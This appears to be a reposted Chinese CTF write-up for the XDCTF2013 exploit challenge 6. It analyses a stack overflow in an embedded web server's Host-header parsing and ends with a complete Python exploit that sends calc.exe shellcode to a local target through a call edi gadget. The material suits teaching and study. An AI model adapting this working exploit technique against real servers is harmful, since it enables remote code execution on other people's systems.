XDCTF2013线上赛exploit关(六)
来源:互联网 发布:sap 物料主数据 编辑:程序博客网 时间:2024/05/07 02:21
该程序是一个内嵌的Web服务器,问题出现在处理HTTP报文Host字段时
处理过程调用了两个函数
.text:00401BFC push offset aHost ; "Host:".text:00401C01 mov [esi+624h], eax.text:00401C07 call sub_402C70 <--定位Host字段内容并处理.text:00401C0C push eax <--处理过的Host字段内容.text:00401C0D mov [esi+62Ch], eax.text:00401C13 call sub_401500 <--溢出的函数
其中sub_402C70的作用是在HTTP报文中定位Host字段的位置,并且会调用另外一个函数sub_402CF0
.text:00402CDA push esi <-- esi指向Host字段内容.text:00402CDB call sub_402CF0
这个处理函数的作用是定位Host字段的结尾,并把结尾处修改为NULL。处理逻辑如下
v1 = str; if ( *str > (char)0x20u ) { do v2 = (v1++)[1]; while ( v2 > (char)0x20u ); } *v1 = 0;
需要注意的是其中的判断语句是有符号比较,所以当字符小于0x20或者大于0x80(负数)时,都会判断为结束,替换为NULL。
之后就将处理过的Host字段内容作为参数,调用sub_401500,它就是溢出的函数了。
进入这个函数后,先申请了0x28字节的空间
.text:00401500 sub esp, 28h
随后就将处理好的Host字段内容复制到这里,造成溢出。
上面说过,Host数据会被处理,因此在利用漏洞的时候,会有一些麻烦。
首先是jmp esp的跳板不能使用了,找不到4个字节都满足上述要求的跳转地址。
其次是如果要将shellcode复制到栈中的话,必须所有的字符都满足以上要求,否则就会导致后面的shellcode内容被截断。
观察一下retn时寄存器情况,可以发现edi,esi,ebp都指向原始HTTP报文存储地址附近。
其中edi指向HTTP报文GET 后面的内容,可以考虑将shellcode放置在这里,然后通过CALL/JMP EDI跳转过来,这个跳转地址也要满足上述的限制。
搜索内存,找到一个合适的地址0x00406172。
然后将shellcode填充到HTTP报文中GET部分。需要注意的是,GET后必须先至少跟一个可见字符,否则程序会直接返回400 BAD HTTP REQUEST。
利用代码如下
import socket# run calc.exeSHELLCODE = \"\xFC\x68\xC9\xBC\xA6\x6B\x68\x63\x89\xD1\x4F\x8B" \"\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x33\xD2" \"\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09" \"\x8B\x51\x18\x8B\x52\x34\x80\xFA\x33\x74\x02\x8B" \"\x09\x8B\x69\x08\xAD\x60\x8B\x45\x3C\x8B\x4C\x05" \"\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B" \"\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08" \"\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C" \"\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B" \"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61" \"\x3D\xC9\xBC\xA6\x6B\x75\xB5\x33\xDB\x33\xC0\x53" \"\x40\x3C\x20\x75\xFA\x33\xDB\x53\xBB\x63\x61\x6C" \"\x63\x53\x8B\xCC\x33\xC0\x54\x54\x50\x50\x50\x54" \"\x50\x50\x51\x50\xFF\x57\xFC\x33\xDB\x53\xFF\x57" \"\xF8"HOST = "127.0.0.1"# 0x406172 call ediEIP = 'A'*40 + '\x72\x61\x40's = socket.socket()s.connect((HOST, 80))payload = "GET A"+SHELLCODE+" HTTP/1.1\r\n" \ "Host: "+EIP+"\r\n" \ "\r\n"print '[+] Sending payload...'s.send(payload)print '[+] Done.'s.close()
- XDCTF2013线上赛exploit关(六)
- XDCTF2013线上赛exploit关(二)
- XDCTF2013线上赛exploit关(三)
- XDCTF2013线上赛exploit关(一)
- 安全比赛中exploit关方法小结
- 点点细雨的项目日记(六) 关…
- 六.线上查询的命令
- exploit
- exploit
- Exploit
- Exploit
- hackinglab.cn注入关之六
- XDCTF2013决赛FTPServer溢出分析
- NSA(美国国安局)泄漏Exploit分析
- “玲珑杯”线上赛 Round #15 咸鱼文章(栈)
- “玲珑杯” 线上赛 Round #15 咸鱼拷问(RMQ)
- “玲珑杯” 线上赛 Round #5 Variance(线段树)
- 大数 线上下赛专用
- 栈内存与堆内存的问题。
- javascript单线程 异步
- 【转载】Socket send函数和recv函数详解
- python合并单元格出现问题
- java中float和double到底有什么区别?
- XDCTF2013线上赛exploit关(六)
- xml schema 初步
- assembly的说明
- c++ union的使用
- java网络编程
- Linux 下常用的 19 条命令
- 获取某路径的所有目录名 获取某路径的所有文件名(要么只有文件名,要么只有目录名)
- 网站特殊字体处理
- WIN32汇编为按钮添加处理过程